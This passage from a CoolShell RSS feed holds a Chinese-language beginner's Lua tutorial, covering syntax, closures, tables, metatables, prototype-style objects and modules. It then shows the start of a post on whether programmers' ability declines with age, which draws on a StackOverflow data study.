first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10804.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>135</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Lua简明教程</title>\n\t\t<link>https://coolshell.cn/articles/10739.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10739.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 03 Dec 2013 00:29:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Lua]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10739</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这几天系统地学习了一下Lua这个脚本语言，Lua脚本是一个很轻量级的脚本，也是号称性能最高的脚本，用在很多需要性能的地方，比如：游戏脚本，nginx，wires...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10739.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" class=\"alignright\" title=\"welcome!\" alt=\"The Programming Language Lua\" src=\"http://www.lua.org/images/lua.gif\" />这几天系统地学习了一下<a href=\"http://www.lua.org\" target=\"_blank\">Lua这个脚本语言</a>，Lua脚本是一个很轻量级的脚本，也是号称性能最高的脚本，用在很多需要性能的地方，比如：游戏脚本，nginx，wireshark的脚本，当你把他的源码下下来编译后，你会发现解释器居然不到200k，这是多么地变态啊（/bin/sh都要1M，MacOS平台），而且能和C语言非常好的互动。我很好奇得浏览了一下Lua解释器的源码，这可能是我看过最干净的C的源码了。</p>\n<p>我不想写一篇大而全的语言手册，一方面是因为已经有了（见本文后面的链接），重要的原因是，因为大篇幅的文章会挫败人的学习热情，我始终觉得好的文章读起来就像拉大便一样，能一口气很流畅地搞完，才会让人爽（这也是我为什么不想写书的原因）。所以，这必然又是一篇“入厕文章”，还是那句话，我希望本文能够让大家利用上下班，上厕所大便的时间学习一个技术。呵呵。</p>\n<p>相信你现在已经在厕所里脱掉裤子露出屁股已经准备好大便了，那就让我们畅快地排泄吧……</p>\n<h4>运行</h4>\n<p>首先，我们需要知道，Lua是类C的，所以，他是大小写字符敏感的。</p>\n<p>下面是Lua的Hello World。注意：Lua脚本的语句的分号是可选的，这个和<a title=\"Go 语言简介（上）— 语法\" href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\">GO语言很类似</a>。</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">print(&quot;Hello World&quot;)</code></p>\n<p>你可以像python一样，在命令行上运行lua命令后进入lua的shell中执行语句。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">chenhao-air:lua chenhao$ lua\nLua 5.2.2  Copyright (C) 1994-2013 Lua.org, PUC-Rio\n&gt; print(&quot;Hello, World&quot;)\nHello, World\n&gt; </pre>\n<p><span id=\"more-10739\"></span></p>\n<p>也可以把脚本存成一个文件，用如下命令行来运行。</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">&gt;lua  file.lua</code></p>\n<p>或是像shell一样运行：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">chenhao-air:lua chenhao$ cat hello.lua\n#!/usr/local/bin/lua\nprint(&quot;Hello, World&quot;)\nchenhao-air:lua chenhao$ chmod +x hello.lua\nchenhao-air:test chenhao$ ./hello.lua\nHello, World</pre>\n<h4>语法</h4>\n<h5>注释</h5>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">-- 两个减号是行注释</code></p>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">--[[\n 这是块注释\n 这是块注释\n --]]</pre>\n<h5>变量</h5>\n<p>Lua的数字只有double型，64bits，你不必担心Lua处理浮点数会慢（除非大于100,000,000,000,000），或是会有精度问题。</p>\n<p>你可以以如下的方式表示数字，0x开头的16进制和C是很像的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nnum = 1024\nnum = 3.0\nnum = 3.1416\nnum = 314.16e-2\nnum = 0.31416E1\nnum = 0xff\nnum = 0x56\n</pre>\n<p>字符串你可以用单引号，也可以用双引号，还支持C类型的转义，比如： &#8216;\\a&#8217; （响铃）， &#8216;\\b&#8217; （退格）， &#8216;\\f&#8217; （表单）， &#8216;\\n&#8217; （换行）， &#8216;\\r&#8217; （回车）， &#8216;\\t&#8217; （横向制表）， &#8216;\\v&#8217; （纵向制表）， &#8216;\\\\&#8217; （反斜杠）， &#8216;\\&#8221;&#8216; （双引号）， 以及 &#8216;\\&#8221; （单引号)</p>\n<p>下面的四种方式定义了完全相同的字符串（其中的两个中括号可以用于定义有换行的字符串）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\na = &#039;alo\\n123&quot;&#039;\na = &quot;alo\\n123\\&quot;&quot;\na = &#039;\\97lo\\10&#092;&#048;4923&quot;&#039;\na = [[alo\n123&quot;]]</pre>\n<p>C语言中的NULL在Lua中是nil，比如你访问一个没有声明过的变量，就是nil，比如下面的v的值就是nil</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">v = UndefinedVariable</code></p>\n<p>布尔类型只有nil和false是 false，数字0啊，‘’空字符串（&#8217;\\0&#8217;）都是true！</p>\n<p>另外，需要注意的是：lua中的变量如果没有特殊说明，全是全局变量，那怕是语句块或是函数里。变量前加local关键字的是局部变量。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">theGlobalVar = 50\nlocal theLocalVar = &quot;local variable&quot;</pre>\n<h4>控制语句</h4>\n<p>不多说了，直接看代码吧（注意：Lua没有++或是+=这样的操作）</p>\n<h5>while循环</h5>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">sum = 0\nnum = 1\nwhile num &lt;= 100 do\n    sum = sum + num\n    num = num + 1\nend\nprint(&quot;sum =&quot;,sum)</pre>\n<h5>if-else分支</h5>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">if age == 40 and sex ==&quot;Male&quot; then\n    print(&quot;男人四十一枝花&quot;)\nelseif age &gt; 60 and sex ~=&quot;Female&quot; then\n    print(&quot;old man without country!&quot;)\nelseif age &lt; 20 then\n    io.write(&quot;too young, too naive!\\n&quot;)\nelse\n    local age = io.read()\n    print(&quot;Your age is &quot;..age)\nend</pre>\n<p>上面的语句不但展示了if-else语句，也展示了<br />\n1）“～=”是不等于，而不是!=<br />\n2）io库的分别从stdin和stdout读写的read和write函数<br />\n3）字符串的拼接操作符“..”</p>\n<p>另外，条件表达式中的与或非为分是：and, or, not关键字。</p>\n<h5>for 循环</h5>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">sum = 0\nfor i = 1, 100 do\n    sum = sum + i\nend</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">sum = 0\nfor i = 1, 100, 2 do\n    sum = sum + i\nend</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">sum = 0\nfor i = 100, 1, -2 do\n    sum = sum + i\nend</pre>\n<h5>until循环</h5>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">sum = 2\nrepeat\n   sum = sum ^ 2 --幂操作\n   print(sum)\nuntil sum &gt;1000</pre>\n<h4>函数</h4>\n<p>Lua的函数和Javascript的很像</p>\n<h5>递归</h5>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">function fib(n)\n  if n &lt; 2 then return 1 end\n  return fib(n - 2) + fib(n - 1)\nend</pre>\n<h5>闭包</h5>\n<p>同样，Javascript附体！</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">function newCounter()\n    local i = 0\n    return function()     -- anonymous function\n       i = i + 1\n        return i\n    end\nend\n\nc1 = newCounter()\nprint(c1())  --&gt; 1\nprint(c1())  --&gt; 2</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">function myPower(x)\n    return function(y) return y^x end\nend\n\npower2 = myPower(2)\npower3 = myPower(3)\n\nprint(power2(4)) --4的2次方\nprint(power3(5)) --5的3次方</pre>\n<h5>函数的返回值</h5>\n<p>和<a title=\"Go 语言简介（上）— 语法\" href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\">Go语言一样</a>，可以一条语句上赋多个值，如：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">name, age, bGay = &quot;haoel&quot;, 37, false, &quot;haoel@hotmail.com&quot;</code></p>\n<p>上面的代码中，因为只有3个变量，所以第四个值被丢弃。</p>\n<p>函数也可以返回多个值：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">function getUserInfo(id)\n    print(id)\n    return &quot;haoel&quot;, 37, &quot;haoel@hotmail.com&quot;, &quot;https://coolshell.cn&quot;\nend\n\nname, age, email, website, bGay = getUserInfo()\n</pre>\n<p>注意：上面的示例中，因为没有传id，所以函数中的id输出为nil，因为没有返回bGay，所以bGay也是nil。</p>\n<h5>局部函数</h5>\n<p>函数前面加上local就是局部函数，其实，Lua中的函数和Javascript中的一个德行。</p>\n<p>比如：下面的两个函数是一样的：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">function foo(x) return x^2 end\nfoo = function(x) return x^2 end</pre>\n<h4>Table</h4>\n<p>所谓Table其实就是一个Key Value的数据结构，它很像Javascript中的Object，或是PHP中的数组，在别的语言里叫Dict或Map，Table长成这个样子：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">haoel = {name=&quot;ChenHao&quot;, age=37, handsome=True}</code></p>\n<p>下面是table的CRUD操作：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">haoel.website=&quot;https://coolshell.cn/&quot;\nlocal age = haoel.age\nhaoel.handsome = false\nhaoel.name=nil</pre>\n<p>上面看上去像C/C++中的结构体，但是name,age, handsome, website都是key。你还可以像下面这样写义Table：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">t = {[20]=100, [&#039;name&#039;]=&quot;ChenHao&quot;, [3.14]=&quot;PI&quot;} </code></p>\n<p>这样就更像Key Value了。于是你可以这样访问：t[20]，t[&#8220;name&#8221;], t[3.14]。</p>\n<p>我们再来看看数组：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">arr = {10,20,30,40,50}</code></p>\n<p>这样看上去就像数组了。但其实其等价于：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">arr = {[1]=10, [2]=20, [3]=30, [4]=40, [5]=50}</code></p>\n<p>所以，你也可以定义成不同的类型的数组，比如：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">arr = {&quot;string&quot;, 100, &quot;haoel&quot;, function() print(&quot;coolshell.cn&quot;) end}</code></p>\n<p>注：其中的函数可以这样调用：arr[4]()。</p>\n<p>我们可以看到Lua的下标不是从0开始的，是从1开始的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">for i=1, #arr do\n    print(arr[i])\nend</pre>\n<p>注：上面的程序中：#arr的意思就是arr的长度。</p>\n<p>注：前面说过，Lua中的变量，如果没有local关键字，全都是全局变量，Lua也是用Table来管理全局变量的，Lua把这些全局变量放在了一个叫“_G”的Table里。</p>\n<p>我们可以用如下的方式来访问一个全局变量（假设我们这个全局变量名叫globalVar）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">_G.globalVar\n_G[&quot;globalVar&quot;]</pre>\n<p>我们可以通过下面的方式来遍历一个Table。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">for k, v in pairs(t) do\n    print(k, v)\nend</pre>\n<h4>MetaTable 和 MetaMethod</h4>\n<p>MetaTable和MetaMethod是Lua中的重要的语法，MetaTable主要是用来做一些类似于C++重载操作符式的功能。</p>\n<p>比如，我们有两个分数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">fraction_a = {numerator=2, denominator=3}\nfraction_b = {numerator=4, denominator=7}</pre>\n<p>我们想实现分数间的相加：2/3 + 4/7，我们如果要执行： fraction_a + fraction_b，会报错的。</p>\n<p>所以，我们可以动用MetaTable，如下所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">fraction_op={}\nfunction fraction_op.__add(f1, f2)\n    ret = {}\n    ret.numerator = f1.numerator * f2.denominator + f2.numerator * f1.denominator\n    ret.denominator = f1.denominator * f2.denominator\n    return ret\nend\n</pre>\n<p>为之前定义的两个table设置MetaTable：（其中的setmetatble是库函数）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">setmetatable(fraction_a, fraction_op)\nsetmetatable(fraction_b, fraction_op)</pre>\n<p>于是你就可以这样干了：（调用的是fraction_op.__add()函数）</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">fraction_s = fraction_a + fraction_b</code></p>\n<p>至于__add这是MetaMethod，这是Lua内建约定的，其它的还有如下的MetaMethod：</p>\n<pre>__add(a, b)                     对应表达式 a + b\n__sub(a, b)                     对应表达式 a - b\n__mul(a, b)                     对应表达式 a * b\n__div(a, b)                     对应表达式 a / b\n__mod(a, b)                     对应表达式 a % b\n__pow(a, b)                     对应表达式 a ^ b\n__unm(a)                        对应表达式 -a\n__concat(a, b)                  对应表达式 a .. b\n__len(a)                        对应表达式 #a\n__eq(a, b)                      对应表达式 a == b\n__lt(a, b)                      对应表达式 a &lt; b\n__le(a, b)                      对应表达式 a &lt;= b\n__index(a, b)                   对应表达式 a.b\n__newindex(a, b, c)             对应表达式 a.b = c\n__call(a, ...)                  对应表达式 a(...)</pre>\n<h4>“面向对象”</h4>\n<p>上面我们看到有__index这个重载，这个东西主要是重载了find key的操作。这操作可以让Lua变得有点面向对象的感觉，让其有点像Javascript的prototype。（关于Javascrip的面向对象，你可以参看我之前写的<a title=\"Javascript 面向对象编程\" href=\"https://coolshell.cn/articles/6441.html\" target=\"_blank\">Javascript的面向对象</a>）</p>\n<p>所谓__index，说得明确一点，如果我们有两个对象a和b，我们想让b作为a的prototype只需要：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">setmetatable(a, {__index = b})</code></p>\n<p>例如下面的示例：你可以用一个Window_Prototype的模板加上__index的MetaMethod来创建另一个实例：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Window_Prototype = {x=0, y=0, width=100, height=100}\nMyWin = {title=&quot;Hello&quot;}\nsetmetatable(MyWin, {__index = Window_Prototype})</pre>\n<p>于是：MyWin中就可以访问x, y, width, height的东东了。（注：当表要索引一个值时如table[key], Lua会首先在table本身中查找key的值, 如果没有并且这个table存在一个带有__index属性的Metatable, 则Lua会按照__index所定义的函数逻辑查找）</p>\n<p>有了以上的基础，我们可以来说说所谓的Lua的面向对象。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Person={}\n\nfunction Person:new(p)\n    local obj = p\n    if (obj == nil) then\n        obj = {name=&quot;ChenHao&quot;, age=37, handsome=true}\n    end\n    self.__index = self\n    return setmetatable(obj, self)\nend\n\nfunction Person:toString()\n    return self.name ..&quot; : &quot;.. self.age ..&quot; : &quot;.. (self.handsome and &quot;handsome&quot; or &quot;ugly&quot;)\nend\n</pre>\n<p>上面我们可以看到有一个new方法和一个toString的方法。其中：</p>\n<p>1）self 就是 Person，Person:new(p)，相当于Person.new(self, p)<br />\n2）new方法的self.__index = self 的意图是怕self被扩展后改写，所以，让其保持原样<br />\n3）setmetatable这个函数返回的是第一个参数的值。</p>\n<p>于是：我们可以这样调用：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">me = Person:new()\nprint(me:toString())\n\nkf = Person:new{name=&quot;King&#039;s fucking&quot;, age=70, handsome=false}\nprint(kf:toString())\n</pre>\n<p>继承如下，我就不多说了，Lua和Javascript很相似，都是在Prototype的实例上改过来改过去的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Student = Person:new()\n\nfunction Student:new()\n    newObj = {year = 2013}\n    self.__index = self\n    return setmetatable(newObj, self)\nend\n\nfunction Student:toString()\n    return &quot;Student : &quot;.. self.year..&quot; : &quot; .. self.name\nend</pre>\n<h4>模块</h4>\n<p>我们可以直接使用require(&#8220;model_name&#8221;)来载入别的lua文件，文件的后缀是.lua。载入的时候就直接执行那个文件了。比如：</p>\n<p>我们有一个hello.lua的文件：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">print(&quot;Hello, World!&quot;)</code></p>\n<p>如果我们：require(&#8220;hello&#8221;)，那么就直接输出Hello, World！了。</p>\n<p>注意：<br />\n1）require函数，载入同样的lua文件时，只有第一次的时候会去执行，后面的相同的都不执行了。<br />\n2）如果你要让每一次文件都会执行的话，你可以使用dofile(&#8220;hello&#8221;)函数<br />\n3）如果你要玩载入后不执行，等你需要的时候执行时，你可以使用 loadfile()函数，如下所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">local hello = loadfile(&quot;hello&quot;)\n... ...\n... ...\nhello()</pre>\n<p>loadfile(&#8220;hello&#8221;)后，文件并不执行，我们把文件赋给一个变量hello，当hello()时，才真的执行。（我们多希望JavaScript也有这样的功能（参看《<a title=\"Javascript 装载和执行\" href=\"https://coolshell.cn/articles/9749.html\" target=\"_blank\">Javascript 装载和执行</a>》））</p>\n<p>当然，更为标准的玩法如下所示。</p>\n<p>假设我们有一个文件叫mymod.lua，内容如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">local HaosModel = {}\n\nlocal function getname()\n    return &quot;Hao Chen&quot;\nend\n\nfunction HaosModel.Greeting()\n    print(&quot;Hello, My name is &quot;..getname())\nend\n\nreturn HaosModel</pre>\n<p>于是我们可以这样使用：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">local hao_model = require(&quot;mymod&quot;)\nhao_model.Greeting()</pre>\n<p>其实，require干的事就如下：（所以你知道为什么我们的模块文件要写成那样了）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">local hao_model = (function ()\n  --mymod.lua文件的内容--\nend)()</pre>\n<h4>参考</h4>\n<p>我估计你差不多到擦屁股的时间了，所以，如果你还比较喜欢Lua的话，下面是几个在线文章你可以继续学习之：</p>\n<ul>\n<li><a href=\"http://manual.luaer.cn/\" rel=\"nofollow\">manual.luaer.cn</a> lua在线手册</li>\n<li><a href=\"http://book.luaer.cn/\" rel=\"nofollow\">book.luaer.cn</a> lua在线lua学习教程</li>\n<li><a href=\"http://www.codingnow.com/2000/download/lua_manual.html\" rel=\"nofollow\">lua参考手册</a>Lua参考手册的中文翻译（云风翻译版本）</li>\n</ul>\n<p>关于Lua的标库，你可以看看官方文档：<a href=\"http://lua-users.org/wiki/StringLibraryTutorial\" target=\"_blank\">string</a>，  <a href=\"http://lua-users.org/wiki/TableLibraryTutorial\" target=\"_blank\">table</a>， <a href=\"http://lua-users.org/wiki/MathLibraryTutorial\" target=\"_blank\">math</a>， <a href=\"http://lua-users.org/wiki/IoLibraryTutorial\" target=\"_blank\">io</a>， <a href=\"http://lua-users.org/wiki/OsLibraryTutorial\" target=\"_blank\">os</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"三个教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_title\">三个教程</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10739.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>125</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程能力与编程年龄</title>\n\t\t<link>https://coolshell.cn/articles/10688.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10688.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 13 Nov 2013 00:21:45 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10688</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>程序员这个职业究竟可以干多少年，在中国这片神奇的土地上，很多人都说只能干到30岁，然后就需要转型，就像《程序员技术练级攻略》这篇文章很多人回复到这种玩法会玩死人...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10688.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10688.html\">编程能力与编程年龄</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>程序员这个职业究竟可以干多少年，在中国这片神奇的土地上，很多人都说只能干到30岁，然后就需要转型，就像《<a title=\"程序员技术练级攻略 - 354,806 人阅读\" href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\">程序员技术练级攻略</a>》这篇文章很多人回复到这种玩法会玩死人的一样。我在很多面试中，问到应聘者未来的规划都能听到好些应聘都说程序员是个青春饭。因为，大多数程序员都认为，编程这个事只能干到30岁，最多35岁吧。每每我听到这样的言论，都让我感到相当的无语，大家都希望能像《<a title=\"“21天教你学会C++”\" href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">21天速成C++</a>》那样速成，好多时候超级有想和他们争论的冲动，但后来想想算了，因为<strong>你无法帮助那些只想呆在井底思维封闭而且想走捷径速成的人</strong>。</p>\n<p>今天，我们又来谈这个老话题，因为我看到一篇论文，但是也一定会有很多人都会找出各种理由来论证这篇论文的是错的，无所谓了，我把这篇文章送给那些和我一样准备为技术和编程执着和坚持的人。</p>\n<h4>论文</h4>\n<p>首先，我们先来看一篇论文《<a href=\"http://people.engr.ncsu.edu/ermurph3/papers/msr13.pdf\" target=\"_blank\">Is Programming Knowledge Related to Age?</a>》（PDF链接），这篇论文是两个北卡罗莱纳州立大学计算机科学系的两个人Patrick Morrison 和 Emerson Murphy-Hill 对StackOverflow.com上的用户做了相关的数据挖掘得出来的一些数据。（我们知道StackOverflow.com上的数据是公开的，任何人都可以用来分析和统计，所以这篇论文的真实性是有的）</p>\n<p>数据采样和清洗条件如下：（数据全量是1694981用户，平均年龄30.3岁）</p>\n<ul>\n<li>15-70岁之间的用户（这年龄段的用户被称做“Working age”），当然，有很多用户没有输入年龄，这些用户都被过滤了。</li>\n<li>用户在2012年内都回答过问题。因为StackOverflow在2012年对问题和答案的质量要求得比以前高了一倍，所以更能反映程序员的真实水平。</li>\n<li>Reputation声望在2-100K之间。（注：StackOverflow的用户Reputation是得到社会认可的，在面试和招聘中是硬通货币。比大学的学分更有价值）</li>\n</ul>\n<p>上述的条件一共过滤出84,248名程序员，平均年龄：29.02岁，平均Reputaion在1073.9分。</p>\n<p><span id=\"more-10688\"></span></p>\n<h5>年龄分布图</h5>\n<p>下面我们来看一下他们的年龄分布图：我们可以看到程序员年纪的正态分布（高点在25岁左右，但是中点在29岁左右）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10689\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-01.jpg\" width=\"578\" height=\"512\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-01.jpg 578w, https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-01-300x266.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-01-305x270.jpg 305w\" sizes=\"(max-width: 578px) 100vw, 578px\" /></p>\n<h5>能力和年龄分布图</h5>\n<p>然后，计算每个人每个月的Reputation，这样可以找到这个用户的真正的活跃时间，这样便于计算这个程序员的真实能力。（总声望 / 活跃时间），可以得到他平均每个月得来的Reputation。</p>\n<p>我们来看看程序员的能力和年龄段的分布图：（你可能会大吃一惊）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10690\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-02.jpg\" width=\"571\" height=\"528\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-02.jpg 571w, https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-02-300x277.jpg 300w\" sizes=\"(max-width: 571px) 100vw, 571px\" /></p>\n<p>上图中我们可以看到，程序员的能力在从25岁左右开始上升，一直到50岁后才会开始下降。所以说，程序员吃的不是青春饭。只有码农，靠蛮力，用体力而不是用脑力的程序员才是吃青春饭的人。</p>\n<h5>年纪大的人是否跟不上新技术</h5>\n<p>论文的作者分析了Tag，用了最近5年内比较流行的技术Tag，然后用了一套比较严谨的算法来查看那些所谓的“老程序员”是否在新技术上跟上不了，所谓跟不上，也就是这些老的程序员在回答这些新技术上并不活跃。所谓老，就是37岁以上的程序员（就是我现在的年纪）。</p>\n<p>得到了下表：可以看到，老程序员和年轻的程序员对于一些新技术的学习来说也是差不多的，甚至有些项还超过了年轻的程序员。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10691\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-03.jpg\" width=\"771\" height=\"232\" 